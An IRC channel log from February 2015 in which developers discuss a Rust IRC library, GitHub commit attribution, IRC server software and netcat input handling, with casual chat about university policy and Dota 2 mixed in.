[2015-02-17T13:42:07-0500] <Fill> it can be a good idea, I'm not saying it isn't. I just personally don't find it very useful to disable those handlers
[2015-02-17T13:42:17-0500] <Fill> do you have any idea on how to do it elegantly?
[2015-02-17T13:43:00-0500] <Fill> maybe some flag in config, something like "raw_mode = true"
[2015-02-17T13:43:09-0500] <Fill> and in "raw mode" the user would have complete power
[2015-02-17T13:43:53-0500] <+awe> What I had in mind was some sort of separate iter option.
[2015-02-17T13:43:56-0500] <+awe> So, it'd be different in code.
[2015-02-17T13:45:17-0500] <Fill> so, you'd have a base iterator type, with 2 iterators extending it
[2015-02-17T13:47:43-0500] <+awe> There'd be one iterator type ServerIterator that's constructor takes a boolean of whether it's raw or not.
[2015-02-17T13:48:01-0500] <+awe> Then, IrcServer (probably also Server) would have iter() and iter_raw()
[2015-02-17T13:51:04-0500] <Fill> btw awe 
[2015-02-17T13:51:16-0500] <Fill> have you given any thought to the server module?
[2015-02-17T13:52:44-0500] <+awe> Yeah. I should probably just start on it at this point.
[2015-02-17T13:53:17-0500] <+awe> I recently learned how to use mio.
[2015-02-17T13:54:59-0500] <Fill> I haven't given it any thought yet
[2015-02-17T13:55:17-0500] <Fill> I want to get used to the client library first
[2015-02-17T13:56:08-0500] <+awe> Ideally, we can attain something of a similar degree of simplicity.
[2015-02-17T13:57:24-0500] <Fill> awe: have you ever implemented a suffix tree?
[2015-02-17T13:57:44-0500] <Fill> brb
[2015-02-17T13:58:05-0500] <+awe> I have not.
[2015-02-17T14:02:37-0500] <Fill> I have a C and C++ implementation, and I was wondering how to do it in Rust. I think it's a pretty good exercise for me to finally understand lifetimes once and for all
[2015-02-17T14:03:03-0500] <Fill> because it makes heavy use of pointers and all that buggy crap
[2015-02-17T14:05:00-0500] <Fill> in fact, it would be interesting to see if I can produce a bug-free implementation relatively quickly with the help of Rust
[2015-02-17T14:06:33-0500] <+awe> Fill: the email you have set as your committer email is not associated with your GH account.
[2015-02-17T14:06:47-0500] <+awe> Fill: filipe@codinghighway.com
[2015-02-17T14:06:51-0500] <+awe> https://github.com/aatxe/irc/commit/62fa0fe5242a30b8eddf0ab149acbea4bf09d827
[2015-02-17T14:08:34-0500] <Fill> huh?
[2015-02-17T14:08:44-0500] <Fill> my GH e-mail is filipe@codinghighway.com
[2015-02-17T14:08:59-0500] <Fill> commit 62fa0fe5242a30b8eddf0ab149acbea4bf09d827
[2015-02-17T14:08:59-0500] <Fill> Author: Filipe Gonçalves <filipe@codinghighway.com>
[2015-02-17T14:08:59-0500] <Fill> Date:   Tue Feb 17 17:56:06 2015 +0000
[2015-02-17T14:08:59-0500] <Fill>     Added config support to set umodes on connect.
[2015-02-17T14:09:21-0500] <+awe> Is there a typo or something?
[2015-02-17T14:10:12-0500] <+awe> Because it definitely doesn't seem to know who you are.
[2015-02-17T14:10:46-0500] <+awe> You don't show up in contributors either.
[2015-02-17T14:11:14-0500] <+awe> https://github.com/filipegoncalves/codinghighway/commits/master
[2015-02-17T14:11:16-0500] <+awe> Here's your own repo.
[2015-02-17T14:11:18-0500] <+awe> You can see the difference.
[2015-02-17T14:11:25-0500] <+awe> Some of them are identified as you and others are not.
[2015-02-17T14:17:00-0500] <Fill> let me check
[2015-02-17T14:18:02-0500] <Fill> weird
[2015-02-17T14:18:29-0500] <Fill> hmmmm
[2015-02-17T14:18:48-0500] <Fill> ah wait
[2015-02-17T14:19:29-0500] <Fill> I think those commits where I'm not properly identified were made after I formatted my desktop and installed a new linux version
[2015-02-17T14:19:31-0500] <Fill> argh
[2015-02-17T14:28:16-0500] <+awe> That would make sense.
[2015-02-17T14:29:21-0500] <Fill> still, I changed my username
[2015-02-17T14:29:28-0500] <Fill> https://github.com/filipegoncalves/codinghighway/commits/master
[2015-02-17T14:29:32-0500] <Fill> and it still doesn't recognize me
[2015-02-17T14:29:36-0500] <Fill> look at the last commit
[2015-02-17T14:31:46-0500] <+awe> Author: Filipe Gonçalves <010010.bin@gmail.com>
[2015-02-17T14:32:05-0500] <+awe> This email is associated with your account, but apparently Author: Filipe Gonçalves <filipe@codinghighway.com> and Author: Filipe Goncalves <fgoncalves@mozilla.com> are not.
[2015-02-17T14:32:37-0500] <+awe> Fill: check https://github.com/settings/emails
[2015-02-17T14:34:50-0500] <Fill> yep, I just saw that too. I'm fixing it
[2015-02-17T14:35:46-0500] <+awe> Yeah, you show up now.
[2015-02-17T14:36:40-0500] <Fill> fixed!
[2015-02-17T14:36:54-0500] <Fill> thanks for noticing awe 
[2015-02-17T14:36:59-0500] <+awe> Yeah, no problem.
[2015-02-17T14:37:21-0500] <Fill> haah .. I can't add my mozilla e-mail, I don't have it anymore
[2015-02-17T14:37:25-0500] <Fill> good old times :P
[2015-02-17T14:37:28-0500] <+awe> That's unfortunate.
[2015-02-17T14:37:37-0500] <Fill> yeah, they delete it on your last day
[2015-02-17T14:37:44-0500] <+awe> It'd be cool to have it forever.
[2015-02-17T14:37:49-0500] <Fill> it would
[2015-02-17T14:37:53-0500] <+awe> Same thing with school emails.
[2015-02-17T14:38:01-0500] <+awe> It's saddening that I'm eventually going to lose my umass.edu email.
[2015-02-17T14:38:14-0500] <+awe> But then, once I'm a professor, I'll permanently have one for wherever I teach.
[2015-02-17T14:38:30-0500] <Fill> you definitely will :)
[2015-02-17T14:38:51-0500] <+awe> Depending on the school, it might be departmental though.
[2015-02-17T14:38:59-0500] <+awe> Like, at UMass, it's cs.umass.edu
[2015-02-17T14:39:24-0500] <Fill> do you have any idea about the specific course / topic you want to teach/
[2015-02-17T14:39:27-0500] <Fill> ?
[2015-02-17T14:40:02-0500] <+awe> Yeah, it's the same as the area of research I want to be in. Programming languages and type systems.
[2015-02-17T14:40:34-0500] <Fill> that's an excellent choice. If I ever teach, that's what I would pick
[2015-02-17T14:40:59-0500] <+awe> If you haven't noticed already, I'm really passionate about languages eliminating the possibility of error.
[2015-02-17T14:41:35-0500] <Fill> then Rust is for you
[2015-02-17T14:41:58-0500] <+awe> Rust is in the direction of an ideal systems language for me.
[2015-02-17T14:42:15-0500] <Fill> but yeah, it's a powerful and interesting concept. I would very much rather fight with the compiler than with the debugger
[2015-02-17T14:42:41-0500] <+awe> Especially since I'm not running a debugger on my software in production.
[2015-02-17T14:42:47-0500] <+awe> If it breaks, the best I can do is have some shitty log files.
[2015-02-17T14:42:54-0500] <Fill> I don't think I fully get the power of Rust though. All the compile-time checks, lifetime, etc, this is all quite new for me. I mean, I know the rules, and I get the concepts, but I still don't exactly see all the real-world consequences of developing in Rust
[2015-02-17T14:43:22-0500] <Fill> hopefully I will with some practice
[2015-02-17T14:43:41-0500] <+awe> Nobody really does quite yet.
[2015-02-17T14:43:45-0500] <+awe> We're all just imagining it.
[2015-02-17T14:43:52-0500] <Fill> awe: have you ever seen a Rust program crash?
[2015-02-17T14:43:56-0500] <+awe> Yes.
[2015-02-17T14:44:06-0500] <+awe> But that's because of unsafe code.
[2015-02-17T14:44:36-0500] <Fill> well, if (and when) it crashes, at least you know it *has* to be from unsafe code.
[2015-02-17T14:44:42-0500] <+awe> The only Rust program I've ever had crash (without being because I didn't do error handling and just did unwrap()) was using dynamic library loading at runtime.
[2015-02-17T14:44:53-0500] <Fill> so you boil it down to specific areas of the code immediately, which is wonderful
[2015-02-17T14:45:08-0500] <+awe> Yeah, in that case, I knew it was literally three lines of code.
[2015-02-17T14:45:17-0500] <+awe> But in all actuality, it's an upstream issue from this those three lines.
[2015-02-17T14:45:27-0500] <+awe> Rust's dynamic library support is sort of shady on Linux.
[2015-02-17T14:45:31-0500] <+awe> It works great on OS X.
[2015-02-17T14:45:36-0500] <+awe> (Although, it didn't used to.)
[2015-02-17T14:46:06-0500] <Fill> I'm sure it will be great on Linux too, give them some time
[2015-02-17T14:46:20-0500] <+awe> It's mostly the fact that nobody ever uses the library.
[2015-02-17T14:46:31-0500] <+awe> It's in the standard library, but I'm pretty sure I'm one of the only people to ever touch it.
[2015-02-17T14:46:54-0500] <+awe> At least, that seemed to be the case from what some of the Rust devs said.
[2015-02-17T14:46:57-0500] <Fill> nobody uses the library?
[2015-02-17T14:47:01-0500] <Fill> O.o
[2015-02-17T14:47:17-0500] <+awe> It's an interface for loading dynamic libraries at runtime.
[2015-02-17T14:47:21-0500] <+awe> That's not exactly a common use case.
[2015-02-17T14:47:30-0500] <Fill> ahh, you mean that specific interface
[2015-02-17T14:47:33-0500] <+awe> Yeah.
[2015-02-17T14:48:18-0500] <Fill> well, I think I never loaded dynamic libraries at runtime
[2015-02-17T14:49:09-0500] <Fill> ah, no, actually I did, but it was just once
[2015-02-17T14:49:16-0500] <Fill> in an old project
[2015-02-17T14:50:53-0500] <+awe> The most common use case I can imagine for it is what I did which was use it to make a sort of plugin system.
[2015-02-17T14:51:04-0500] <+awe> https://github.com/aatxe/awebot/blob/master/src/main.rs
[2015-02-17T14:51:20-0500] <+awe> It's an IRC bot that dynamically loads plugins also written in Rust.
[2015-02-17T14:51:32-0500] <+awe> awebot is a running instance of it. :)
[2015-02-17T14:51:35-0500] <+awe> @whois awe
[2015-02-17T14:51:35-0500] <+awebot> awe: awe is the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-02-17T14:51:56-0500] <+awe> @whois hamelin
[2015-02-17T14:51:56-0500] <+awebot> awe: hamelin is a goat.
[2015-02-17T14:51:58-0500] <+awe> @whois goat
[2015-02-17T14:51:58-0500] <+awebot> awe: I don't know who goat is.
[2015-02-17T14:54:11-0500] <Fill> ah
[2015-02-17T14:54:20-0500] <Fill> I wanted to do something like that for RoBotX too
[2015-02-17T14:54:30-0500] <Fill> my idea was to load python scripts
[2015-02-17T14:54:41-0500] <Fill> @whois FIll
[2015-02-17T14:54:41-0500] <+awebot> Fill: I don't know who FIll is.
[2015-02-17T14:54:45-0500] <Fill> @whois Fill
[2015-02-17T14:54:45-0500] <+awebot> Fill: I don't know who Fill is.
[2015-02-17T14:54:53-0500] <+awe> I hate Python because it's the opposite of what I'd want in a language.
[2015-02-17T14:55:15-0500] <Fill> lol
[2015-02-17T14:55:15-0500] <Fill> true
[2015-02-17T14:55:19-0500] <+awe> You can tell it who you are by doing: @iam a llama.
[2015-02-17T14:56:54-0500] <+awe> But yeah, currently, awebot crashes on Linux whenever it tries to reload a dynamic library after it has been updated.
[2015-02-17T14:57:00-0500] <+awe> On OS X, this works fine.
[2015-02-17T14:57:05-0500] <Fill> @iam Fill is the Supreme Master of The Universe. He logs all your personal qualities, and you can't exit until your death. Now, you're a part of the game too.
[2015-02-17T14:57:05-0500] <+awebot> Fill: Got it!
[2015-02-17T14:57:09-0500] <Fill> @whois Fill
[2015-02-17T14:57:09-0500] <+awebot> Fill: Fill is Fill is the Supreme Master of The Universe. He logs all your personal qualities, and you can't exit until your death. Now, you're a part of the game too.
[2015-02-17T14:57:17-0500] <Fill> bahahah
[2015-02-17T14:57:33-0500] <Fill> @iam the Supreme Master of The Universe. He logs all your personal qualities, and you can't exit until your death. Now, you're a part of the game too.
[2015-02-17T14:57:33-0500] <+awebot> Fill: Got it!
[2015-02-17T14:57:35-0500] <Fill> @whois Fill
[2015-02-17T14:57:35-0500] <+awebot> Fill: Fill is the Supreme Master of The Universe. He logs all your personal qualities, and you can't exit until your death. Now, you're a part of the game too.
[2015-02-17T14:59:28-0500] <+awe> There you go.
[2015-02-17T14:59:44-0500] <+awe> I also have a repository of all the plugins I've written.
[2015-02-17T14:59:44-0500] <+awe> https://github.com/aatxe/awebot-plugins
[2015-02-17T14:59:54-0500] <+awe> It takes so long to build on travis.
[2015-02-17T14:59:56-0500] <+awe> ~10m.
[2015-02-17T15:00:05-0500] <Fill> awe: the thing with loading rust plugins is that you force the bot user to compile them. Right/
[2015-02-17T15:00:23-0500] <Fill> which is not necessarily a bad thing
[2015-02-17T15:00:26-0500] <+awe> You compile them into dynamic libraries yourself, and then place them in the plugins folder.
[2015-02-17T15:00:31-0500] <+awe> Then, they're loaded as dynamic libraries.
[2015-02-17T15:00:38-0500] <Fill> that's cool
[2015-02-17T15:00:48-0500] <Fill> have you ever tried eggdrop?
[2015-02-17T15:01:28-0500] <+awe> Nope.
[2015-02-17T15:01:53-0500] <+awe> "Support for the big five IRC networks (Undernet, DALnet, EFnet, IRCnet, and QuakeNet)"
[2015-02-17T15:01:53-0500] <+awe> lol
[2015-02-17T15:02:05-0500] <Fill> it's quite outdated
[2015-02-17T15:02:29-0500] <Fill> it supports any irc network, I never really understood why they wrote that
[2015-02-17T15:02:49-0500] <Fill> maybe becuase they have specific modules for known networks, but that's it
[2015-02-17T15:03:35-0500] <+awe> In the olden days, IRC networks used to use vastly different IRCds where they all made up their own additional sets of commands and so forth.
[2015-02-17T15:04:13-0500] <+awe> DALnet used DreamForge IRCd which became UnrealIRCd
[2015-02-17T15:04:31-0500] <+awe> QuakeNet used Asuka.
[2015-02-17T15:04:39-0500] <+awe> Dalnet now uses Bahamut.
[2015-02-17T15:04:53-0500] <+awe> IRCnet uses IRCd.
[2015-02-17T15:05:03-0500] <+awe> Undernet uses ircu.
[2015-02-17T15:05:16-0500] <+awe> EFnet uses ircd-ratbox
[2015-02-17T15:05:25-0500] <+awe> QuakeNet now uses snircd.
[2015-02-17T15:05:44-0500] <+awe> So, they all had lots of different custom extensions and stuff.
[2015-02-17T15:06:10-0500] <+awe> And they're all compliant with different sorts of specifications and so on.
[2015-02-17T15:06:31-0500] <Fill> <awe> IRCnet uses IRCd.
[2015-02-17T15:06:41-0500] <Fill> there's an IRCd called IRCd? lol
[2015-02-17T15:06:46-0500] <+awe> Yes.
[2015-02-17T15:07:17-0500] <Fill> you're writing IRC services in Rust.
[2015-02-17T15:07:29-0500] <+awe> http://www.irc.org/tech_docs/ircnet/faq.html#ircd
[2015-02-17T15:07:46-0500] <+awe> Well, I was. We used them here for a while, but they were sort of a fundamentally wrong approach.
[2015-02-17T15:07:54-0500] <+awe> It was an IRC bot, instead of an IRC server.
[2015-02-17T15:07:58-0500] <Fill> aaah
[2015-02-17T15:07:59-0500] <+awe> I might do it again once I have a server library.
[2015-02-17T15:08:20-0500] <Fill> that's what I was wondering: how could you write services without a server library
[2015-02-17T15:08:48-0500] <+awe> It wasn't *that* bad.
[2015-02-17T15:08:56-0500] <Fill> I'd love to see an entire IRC network in Rust
[2015-02-17T15:09:02-0500] <Fill> server + services
[2015-02-17T15:09:11-0500] <Fill> we will have it some day
[2015-02-17T15:09:34-0500] <+awe> That's my goal here, pretty much.
[2015-02-17T15:10:21-0500] <Fill> the IRC network that I manage with some other folks is running on UnrealIRCd, but it's a shitty old version
[2015-02-17T15:10:28-0500] <Fill> with some tweaks and patches we added
[2015-02-17T15:10:43-0500] <Fill> but unrealircd code is insanely hard to understand
[2015-02-17T15:10:50-0500] <+awe> InspIRCd is also really bad.
[2015-02-17T15:10:50-0500] <+awe> :)
[2015-02-17T15:10:53-0500] <+awe> The code.
[2015-02-17T15:10:56-0500] <+awe> It runs well.
[2015-02-17T15:11:03-0500] <Fill> and now we're stuck with an old version because no one knows how to port our in-house patches to the latest versions :x
[2015-02-17T15:11:29-0500] <Fill> I don't know InspIRCd very well
[2015-02-17T15:11:50-0500] <Fill> from what I saw here, from a user perspective, it has some differences
[2015-02-17T15:12:08-0500] <+awe> They have a configuration that mimicks Unreal.
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[2015-02-17T16:16:39-0500] <JacobEdelman> hardmath123: I don't like this whold ^D thing in hamelins netcat
[2015-02-17T16:19:11-0500] <+awe> ???
[2015-02-17T16:19:15-0500] <+awe> in all netcats you mean
[2015-02-17T16:19:25-0500] <+awe> Jacob, pls learn about computers.
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[2015-02-17T16:39:17-0500] <JacobEdelman> no...
[2015-02-17T16:39:19-0500] <JacobEdelman> if I do
[2015-02-17T16:39:30-0500] <JacobEdelman> netcat google.com 80
[2015-02-17T16:39:34-0500] <JacobEdelman> and than type in some junk
[2015-02-17T16:39:38-0500] <JacobEdelman> press enter twice
[2015-02-17T16:39:39-0500] <JacobEdelman> it responds
[2015-02-17T16:39:42-0500] <JacobEdelman> no ^D needed
[2015-02-17T16:39:44-0500] <+awe> ...
[2015-02-17T16:39:51-0500] <+awe> that's not what EOF means.
[2015-02-17T16:40:05-0500] <JacobEdelman> ..... when I run
[2015-02-17T16:40:07-0500] <JacobEdelman> hameline
[2015-02-17T16:40:12-0500] <JacobEdelman> in order to send my input to the server
[2015-02-17T16:40:16-0500] <+awe> That's not true.
[2015-02-17T16:40:16-0500] <JacobEdelman> I must do crtl-d
[2015-02-17T16:40:19-0500] <JacobEdelman> ..?
[2015-02-17T16:40:21-0500] <+awe> It depends on how you're doing it.
[2015-02-17T16:40:25-0500] <+awe> Ctrl+D is EOF.
[2015-02-17T16:40:28-0500] <JacobEdelman> I'm doing the python thing
[2015-02-17T16:40:39-0500] <+awe> Yes, it's intentionally designed so that it reads until you finish and then writes it.
[2015-02-17T16:40:43-0500] <+awe> So, it's intentionally waiting until EOF.
[2015-02-17T16:40:49-0500] <+awe> That's not hamelin, that's the script.
[2015-02-17T16:40:51-0500] <+awe> >.>
[2015-02-17T16:41:00-0500] <+awe> if you try grep --line-buffered, you'll see that it responds instantly.
[2015-02-17T16:41:14-0500] <JacobEdelman> ... okay, so how can I make that happen with python
[2015-02-17T16:41:15-0500] <JacobEdelman> oh wait
[2015-02-17T16:41:44-0500] <+awe> You respond?
[2015-02-17T16:41:55-0500] <+awe> The python script doesn't respond. It just writes it to a file.
[2015-02-17T16:42:04-0500] <JacobEdelman> it responds
[2015-02-17T16:42:09-0500] <+awe> If you did print "hi" in the for loop or whatever, it'd print hi.
[2015-02-17T16:42:12-0500] <JacobEdelman> its how its getting input that is the problem
[2015-02-17T16:42:14-0500] <+awe> it'd send you hi every time it got a line.
[2015-02-17T16:42:24-0500] <JacobEdelman> for data in fileinput.input():
[2015-02-17T16:42:25-0500] <+awe> Yes, the whole point is that it waits to get ALL THE LINES of input.
[2015-02-17T16:42:27-0500] <+awe> Yes.
[2015-02-17T16:42:30-0500] <+awe> That ends when it gets an EOF.
[2015-02-17T16:42:54-0500] <JacobEdelman> got it
[2015-02-17T16:42:58-0500] <JacobEdelman> okay, fixed
[2015-02-17T16:43:01-0500] <JacobEdelman> much better now
[2015-02-17T16:43:12-0500] <+awe> I don't understand what you're trying to do that you don't want that behavior anyway.
[2015-02-17T16:43:20-0500] <+awe> If it's even remotely similar to a guestbook, you probably want it to do that.
[2015-02-17T16:43:37-0500] <JacobEdelman> okay, got it
[2015-02-17T16:43:45-0500] <JacobEdelman> its not remotely similar 
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[2015-02-17T16:57:25-0500] <failedxyz> hei
[2015-02-17T16:57:30-0500] <failedxyz> anyone here
[2015-02-17T16:59:27-0500] <+awe> hi
[2015-02-17T17:05:59-0500] <Fill> failedxyz: hi
[2015-02-17T17:08:15-0500] <Fill> awe: so, I liked the idea of having the server iterator returning commands instead of messages. Is it ok if I start working on that? It doesn't seem very hard.
[2015-02-17T17:08:27-0500] <Fill> or, hmmm
[2015-02-17T17:08:35-0500] <+awe> Well, I think we're going to want to have both be options.
[2015-02-17T17:08:41-0500] <Fill> yeah
[2015-02-17T17:09:01-0500] <+awe> iter_cmd()?
[2015-02-17T17:09:27-0500] <Fill> yep, looks good
[2015-02-17T17:09:31-0500] <+awe> Yeah, add iter_cmd() to Server, IrcServer, and Wrapper.
[2015-02-17T17:09:52-0500] <Fill> and this time  I will make sure I don't break the tests :p
[2015-02-17T17:18:40-0500] <+awe> Looking at the punchcard on GitHub is funny.
[2015-02-17T17:18:50-0500] <+awe> I've never committed to irc between 7am and 9 am
[2015-02-17T17:18:55-0500] <+awe> Because I'm just not awake.
[2015-02-17T17:21:41-0500] <Fill> awe: I noticed you fixed some line-wrapping issues on my commit. May I ask which style you prefer regarding the max. number of columns per line?
[2015-02-17T17:22:28-0500] <Fill> I have a limit of 80 on emacs, it starts showing me text on red after that, but I think it's perhaps too harsh
[2015-02-17T17:23:19-0500] <+awe> 100.
[2015-02-17T17:23:23-0500] <+awe> It's the Rust standard.
[2015-02-17T17:23:47-0500] <Fill> ok, noted
[2015-02-17T17:51:20-0500] <+awe> Hmm, I'm actually not sure that we need mio at all for this.
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[2015-02-17T18:01:16-0500] <Fill> kiwiirc
[2015-02-17T18:01:35-0500] <+awe> Yeah, there's some people who use web clients.
[2015-02-17T18:01:51-0500] <Fill> meh
[2015-02-17T18:02:08-0500] <Fill> I got a track history of bad experiences with web clients
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[2015-02-17T18:04:40-0500] <Fill[kiwiirc]> it's not that bad, except for the colors theme. I usually prefer black themes on irc client, and this is exactly the opposite
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[2015-02-17T18:30:13-0500] <JacobEdelman> irccloud is nice
[2015-02-17T18:38:10-0500] <+awe> It is, but the server I was on was super unstable, and I didn't like not having logs.
[2015-02-17T18:54:30-0500] <Fill> else if let "NICK" = &m.command[] {
[2015-02-17T18:54:50-0500] <+awe> ?
[2015-02-17T18:54:57-0500] <Fill> awe: what kind of black magic is this? Assigning to a &'static str?
[2015-02-17T18:55:04-0500] <+awe> It's pattern matching magic.
[2015-02-17T18:55:31-0500] <Fill> how is this different from else if &m.command[] == "NICK"
[2015-02-17T18:57:38-0500] <+awe> It's not.
[2015-02-17T18:57:43-0500] <+awe> Sometimes, I wrote things stupidly. :)
[2015-02-17T18:57:58-0500] <+awe> Ignore it for now.
[2015-02-17T18:58:02-0500] <+awe> I'll do a clean-up audit soon.
[2015-02-17T18:58:02-0500] <Fill> lol ok
[2015-02-17T18:58:11-0500] <+awe> I'll go through and fix anything particularly stupid.
[2015-02-17T18:58:36-0500] <+awe> Okay, so, once mio gets updated later tonight, my hamelin implementation will be even better!
[2015-02-17T19:22:05-0500] <+awe> It wasn't quite ready then, actually.
[2015-02-17T19:22:10-0500] <+awe> I had to set file descriptor modes to make it work.
[2015-02-17T19:22:14-0500] <+awe> But it's working now. :)
[2015-02-17T19:22:21-0500] <+awe> No threading necessary.
[2015-02-17T19:22:26-0500] <+awe> So, it should scale well.
[2015-02-17T19:24:09-0500] <+awe> Lol, definitely works better.
[2015-02-17T19:24:14-0500] <+awe> I got -bash: fork: Resource temporarily unavailable
[2015-02-17T19:24:24-0500] <+awe> So, I couldn't fork any more processes before it broke.
[2015-02-17T19:35:02-0500] <+awe> Fill: how's your PR coming?
[2015-02-17T19:39:28-0500] <Fill> awe: PR?
[2015-02-17T19:39:34-0500] <+awe> Pull request?
[2015-02-17T19:39:45-0500] <+awe> The changes you're working on.
[2015-02-17T19:39:50-0500] <Fill> ah
[2015-02-17T19:40:08-0500] <Fill> tomorrow I should have it ready, hopefully
[2015-02-17T19:40:18-0500] <Fill> I'm gonna sleep now, it's getting late here
[2015-02-17T19:41:14-0500] <Fill> I was working on other stuff now
[2015-02-17T19:41:36-0500] <Fill> and now I need to sleep. See ya tomorrow.
[2015-02-17T19:42:49-0500] <+awe> Sure thing.
[2015-02-17T19:42:51-0500] <+awe> C'ya around.
[2015-02-17T20:03:30-0500] <JacobEdelman> awe: I just heard umass amherst is banning iranians from graduate programs or something
[2015-02-17T20:03:33-0500] <JacobEdelman> what is this?
[2015-02-17T20:04:45-0500] <+awe> Exactly what you heard.
[2015-02-17T20:05:04-0500] <+awe> They've banned Iranian nationals from attending STEM graduate programs, supposedly in accordance with the US embargo on Iran.
[2015-02-17T20:05:12-0500] <Hyper> :/
[2015-02-17T20:06:06-0500] <+awe> There's a lot of pushback.
[2015-02-17T20:06:09-0500] <+awe> People are pretty upset.
[2015-02-17T20:06:14-0500] <+awe> We'll see what happens.
[2015-02-17T20:13:30-0500] <JacobEdelman> that seems.... bad
[2015-02-17T20:13:48-0500] <JacobEdelman> wait, iranian nationals = what?
[2015-02-17T20:14:11-0500] <JacobEdelman> iranians who came to america just for the graduate program?
[2015-02-17T20:14:16-0500] <JacobEdelman> any iranian citizen?
[2015-02-17T20:14:22-0500] <JacobEdelman> anybody who was born in iran?
[2015-02-17T20:29:53-0500] <+awe> Iranian nationals are all Iranian citizens.
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[2015-02-17T22:25:22-0500] <Hyper> so what's errrrrrrrybody up to?
[2015-02-17T22:25:36-0500] <Hyper> (read: I'm bored as fuck)
[2015-02-17T22:26:33-0500] <+ubuntor> getting music
[2015-02-17T22:31:53-0500] <+ubuntor> writing ctf problems
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[2015-02-17T22:42:43-0500] <+alokpathy> Finishing pset.
[2015-02-17T22:42:46-0500] <+alokpathy> Listening to music.
[2015-02-17T22:43:15-0500] <+alokpathy> Contemplating ways WWIII could start.
[2015-02-18T00:13:44-0500] <+awe> Hyper: I'm reading descriptions of people who think Nim is better than Rust after they completely misused Rust because they were too lazy to read the full tutorial.
[2015-02-18T00:14:39-0500] <+awe> Specifically, someone thought that a GC'd language was a better option to write a *KERNEL*
[2015-02-18T00:14:47-0500] <+awe> Because the Rust code they wrote was a bunch of C pointers.
[2015-02-18T00:35:57-0500] <LittleBobbyTables> welp, valentines day was pretty rad
[2015-02-18T00:53:22-0500] <assface> you mean that thing that was 3 days ago?
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[2015-02-18T01:19:48-0500] <LittleBobbyTables> yeah
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[2015-02-18T01:35:19-0500] <assface> well how was it rad?
[2015-02-18T01:45:07-0500] <LittleBobbyTables> drinking, rave, dance, dinner with some 23 y/o, met new people at a mini comicon, watched a friend get kicked out for being too drunk
[2015-02-18T01:48:32-0500] <nezorg> awe: we have an iranian in the seclab :P
[2015-02-18T01:53:32-0500] <+awe> Cool.
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[2015-02-18T09:35:02-0500] <Fill> awe: here?
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
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[2015-02-17T20:13:30-0500] <JacobEdelman> that seems.... bad
[2015-02-17T20:13:48-0500] <JacobEdelman> wait, iranian nationals = what?
[2015-02-17T20:14:12-0500] <JacobEdelman> iranians who came to america just for the graduate program?
[2015-02-17T20:14:16-0500] <JacobEdelman> any iranian citizen?
[2015-02-17T20:14:22-0500] <JacobEdelman> anybody who was born in iran?
[2015-02-17T20:29:53-0500] <+awe> Iranian nationals are all Iranian citizens.
[2015-02-17T22:25:23-0500] <Hyper> so what's errrrrrrrybody up to?
[2015-02-17T22:25:36-0500] <Hyper> (read: I'm bored as fuck)
[2015-02-17T22:26:33-0500] <+ubuntor> getting music
[2015-02-17T22:31:54-0500] <+ubuntor> writing ctf problems
[2015-02-17T22:42:43-0500] <+alokpathy> Finishing pset.
[2015-02-17T22:42:46-0500] <+alokpathy> Listening to music.
[2015-02-17T22:43:15-0500] <+alokpathy> Contemplating ways WWIII could start.
[2015-02-18T00:13:44-0500] <+awe> Hyper: I'm reading descriptions of people who think Nim is better than Rust after they completely misused Rust because they were too lazy to read the full tutorial.
[2015-02-18T00:14:39-0500] <+awe> Specifically, someone thought that a GC'd language was a better option to write a *KERNEL*
[2015-02-18T00:14:47-0500] <+awe> Because the Rust code they wrote was a bunch of C pointers.
[2015-02-18T00:35:57-0500] <LittleBobbyTables> welp, valentines day was pretty rad
[2015-02-18T00:53:22-0500] <assface> you mean that thing that was 3 days ago?
[2015-02-18T01:19:48-0500] <LittleBobbyTables> yeah
[2015-02-18T01:35:19-0500] <assface> well how was it rad?
[2015-02-18T01:45:07-0500] <LittleBobbyTables> drinking, rave, dance, dinner with some 23 y/o, met new people at a mini comicon, watched a friend get kicked out for being too drunk
[2015-02-18T01:48:32-0500] <nezorg> awe: we have an iranian in the seclab :P
[2015-02-18T01:53:32-0500] <+awe> Cool.
[2015-02-18T09:35:02-0500] <Fill> awe: here?
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
[2015-02-18T09:54:00-0500] <Fill> ok
[2015-02-18T09:54:12-0500] <Fill> I need to discuss some design decisions about the iter_cmd() feature
[2015-02-18T10:57:09-0500] <JacobEdelman_phone> LittleBobbyTables: you here?
[2015-02-18T11:05:37-0500] <LittleBobbyTables> No, JacobEdelman_phone.
[2015-02-18T11:06:07-0500] <JacobEdelman_> LittleBobbyTables: so, I've been playing Dota2 a bit
[2015-02-18T11:06:43-0500] <JacobEdelman_> what heroes/stratages would allow me to do decently without much skill, or at least to surprise people who do play dota2 somewhat well
[2015-02-18T11:06:50-0500] <JacobEdelman_> ?
[2015-02-18T11:06:56-0500] <LittleBobbyTables> venge
[2015-02-18T11:07:04-0500] <LittleBobbyTables> press q, press w, win fights
[2015-02-18T11:08:06-0500] <JacobEdelman_> okay, will look at
[2015-02-18T11:08:20-0500] <JacobEdelman_> (I've played legion commander a bit, which has been fun)
[2015-02-18T11:08:56-0500] <JacobEdelman_> by venge, I assume you mean vengeful spirit, right?
[2015-02-18T11:09:08-0500] <LittleBobbyTables> yes
[2015-02-18T11:09:18-0500] <LittleBobbyTables> venge fits into every lineup ever
[2015-02-18T11:10:33-0500] <JacobEdelman_> so: stun, weaken, attack basicly?
[2015-02-18T11:12:22-0500] <JacobEdelman_> gamepedia says : "Shendel [aka venge] requires very selfless and skilled play to operate well, and relies on the competence of teammates as much as herself. "
[2015-02-18T11:12:50-0500] <JacobEdelman_> I am neither of those things (although I suppose my reckless playing could be seen as selflessness)
[2015-02-18T11:13:04-0500] <JacobEdelman_> remember, I'm a noob
[2015-02-18T11:13:11-0500] <JacobEdelman_> I've played a total of, like, 6 games
[2015-02-18T11:16:44-0500] <LittleBobbyTables> she requires no skill at all
[2015-02-18T11:16:52-0500] <LittleBobbyTables> press q, press w, you just won your fight, gj
[2015-02-18T11:17:45-0500] <JacobEdelman_> wow, okay
[2015-02-18T11:17:50-0500] <JacobEdelman_> she looks fun
[2015-02-18T11:18:03-0500] Mode is +nt
